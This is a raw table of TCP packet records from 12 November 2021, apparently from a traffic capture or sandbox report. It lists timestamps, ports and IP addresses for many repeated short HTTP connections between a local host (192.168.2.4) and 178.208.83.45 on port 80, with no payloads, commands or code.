Nov 12, 2021 22:24:17.701277971 CET	80	50123	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.701702118 CET	50123	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.762028933 CET	50123	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.763791084 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.785547972 CET	80	50123	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.785692930 CET	50123	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.786014080 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.786139011 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.786742926 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.787223101 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.787628889 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.787847042 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.810688019 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.810929060 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811502934 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811587095 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811599016 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811610937 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811623096 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811634064 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811633110 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.811645985 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811682940 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.811702967 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.811722040 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.811774015 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811786890 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811800003 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.811850071 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.811887980 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.816914082 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.817058086 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.818449020 CET	50125	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.834526062 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.834547997 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.834796906 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.835167885 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.835285902 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.835288048 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.835362911 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.835685968 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.835774899 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.836075068 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.836163998 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.836193085 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.836276054 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.836318970 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.836335897 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.836386919 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.836436033 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.836874962 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.840744019 CET	80	50125	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.840892076 CET	50125	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.841648102 CET	50125	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858267069 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858287096 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858299017 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858357906 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858490944 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858525038 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858541965 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858552933 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858557940 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858562946 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858566046 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858568907 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858586073 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858596087 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858617067 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858630896 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858678102 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858684063 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858804941 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858822107 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858836889 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858854055 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858855963 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858869076 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858880997 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858880997 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858890057 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858892918 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858910084 CET	80	50124	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.858922005 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858944893 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858949900 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.858958960 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.859003067 CET	50124	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.863889933 CET	80	50125	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.867914915 CET	80	50125	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:17.868181944 CET	50125	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.988575935 CET	50125	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:17.989850044 CET	50126	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.012984991 CET	80	50126	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.013037920 CET	80	50125	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.013164043 CET	50126	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.013179064 CET	50125	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.013941050 CET	50126	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.036293030 CET	80	50126	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.036340952 CET	80	50126	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.036355019 CET	80	50126	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.036446095 CET	50126	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.144658089 CET	50126	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.146477938 CET	50127	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.167063951 CET	80	50126	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.167200089 CET	50126	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.168720961 CET	80	50127	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.168831110 CET	50127	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.169370890 CET	50127	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.191622972 CET	80	50127	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.195202112 CET	80	50127	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.195303917 CET	50127	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.301246881 CET	50127	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.302731991 CET	50128	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.323848009 CET	80	50127	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.323939085 CET	50127	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.325386047 CET	80	50128	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.325515032 CET	50128	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.326132059 CET	50128	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.349457026 CET	80	50128	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.352893114 CET	80	50128	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.352987051 CET	50128	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.457133055 CET	50128	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.459402084 CET	50129	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.479852915 CET	80	50128	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.479994059 CET	50128	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.481986046 CET	80	50129	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.482095957 CET	50129	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.482834101 CET	50129	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.505397081 CET	80	50129	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.507359028 CET	80	50129	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.507452965 CET	50129	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.613369942 CET	50129	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.614526987 CET	50130	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.636399031 CET	80	50129	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.636482954 CET	50129	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.636984110 CET	80	50130	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.637087107 CET	50130	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.637799978 CET	50130	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.661262989 CET	80	50130	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.664123058 CET	80	50130	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.664378881 CET	50130	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.772016048 CET	50130	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.773349047 CET	50131	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.794543982 CET	80	50130	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.794616938 CET	50130	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.796236038 CET	80	50131	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.796324015 CET	50131	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.801804066 CET	50131	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.825001001 CET	80	50131	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.828968048 CET	80	50131	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.829071999 CET	50131	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.942259073 CET	50131	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.943423986 CET	50132	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.965193987 CET	80	50131	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.965269089 CET	50131	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.968682051 CET	80	50132	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.968805075 CET	50132	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.969333887 CET	50132	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:18.992214918 CET	80	50132	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.997863054 CET	80	50132	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:18.997992992 CET	50132	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.114078045 CET	50132	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.115982056 CET	50133	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.137016058 CET	80	50132	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.137168884 CET	50132	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.139666080 CET	80	50133	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.139803886 CET	50133	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.141068935 CET	50133	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.165456057 CET	80	50133	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.169012070 CET	80	50133	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.169080973 CET	50133	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.285511971 CET	50133	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.286731005 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.309375048 CET	80	50133	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.309422970 CET	80	50134	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.309459925 CET	50133	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.309533119 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.310211897 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.332715034 CET	80	50134	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.332751989 CET	80	50134	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.332828045 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.335299015 CET	80	50134	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.335417986 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.442890882 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.444016933 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.466828108 CET	80	50134	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.466877937 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.466976881 CET	50134	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.467029095 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.467593908 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.490026951 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.490098953 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.490113974 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.490183115 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.490221024 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.574732065 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.574960947 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.575303078 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.575453997 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.597299099 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.597527027 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.597647905 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.597680092 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.597718954 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.597726107 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.597738981 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.597820044 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.597867012 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.601151943 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.620208025 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620240927 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620259047 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620279074 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620297909 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620374918 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620440006 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620440006 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.620459080 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620476961 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620496988 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.620588064 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.620743990 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.620790005 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.623434067 CET	80	50136	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.623615980 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.624877930 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.642936945 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.642987013 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643028021 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643055916 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.643063068 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643100977 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643126011 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.643138885 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643260956 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643366098 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643405914 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643440962 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643476963 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643578053 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643678904 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643717051 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643757105 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643856049 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643955946 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.643992901 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.644027948 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.647183895 CET	80	50136	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.647248983 CET	80	50136	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.647293091 CET	80	50136	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.647443056 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.647501945 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.665458918 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.665710926 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.665961027 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.666240931 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.666327953 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.666513920 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.669600010 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.669677973 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.758750916 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.759082079 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.760227919 CET	50137	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.781084061 CET	80	50135	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.781168938 CET	50135	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.781378984 CET	80	50136	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.781461000 CET	50136	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.782506943 CET	80	50137	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.782635927 CET	50137	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.783322096 CET	50137	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.805607080 CET	80	50137	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.808468103 CET	80	50137	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.812802076 CET	50137	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.925818920 CET	50137	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.926990986 CET	50138	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.948194027 CET	80	50137	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.948390961 CET	50137	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.949371099 CET	80	50138	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.949553967 CET	50138	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.950419903 CET	50138	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:19.973665953 CET	80	50138	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.976623058 CET	80	50138	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:19.976785898 CET	50138	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.082709074 CET	50138	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.084602118 CET	50139	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.108911991 CET	80	50138	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.109025002 CET	50138	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.110928059 CET	80	50139	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.112426996 CET	50139	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.113236904 CET	50139	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.136661053 CET	80	50139	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.140470028 CET	80	50139	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.142368078 CET	50139	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.261708975 CET	50139	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.263010979 CET	50140	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.284116030 CET	80	50139	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.284236908 CET	50139	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.285347939 CET	80	50140	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.285484076 CET	50140	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.286032915 CET	50140	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.308439970 CET	80	50140	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.311932087 CET	80	50140	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.312064886 CET	50140	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.426718950 CET	50140	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.428179026 CET	50141	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.449150085 CET	80	50140	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.449253082 CET	50140	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.450476885 CET	80	50141	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.450633049 CET	50141	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.451843977 CET	50141	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.474153996 CET	80	50141	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.479233980 CET	80	50141	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.479363918 CET	50141	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.582243919 CET	50141	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.583878040 CET	50142	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.604883909 CET	80	50141	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.605053902 CET	50141	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.606405020 CET	80	50142	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.606621981 CET	50142	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.608309984 CET	50142	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.630629063 CET	80	50142	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.634598970 CET	80	50142	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.634747982 CET	50142	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.739620924 CET	50142	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.742847919 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.765022039 CET	80	50142	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.765146971 CET	50142	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.765168905 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.765381098 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.766396046 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.789148092 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.792874098 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.793029070 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.794776917 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.794884920 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.795104980 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.795285940 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.817425966 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.817766905 CET	80	50143	178.208.83.45	192.168.2.4
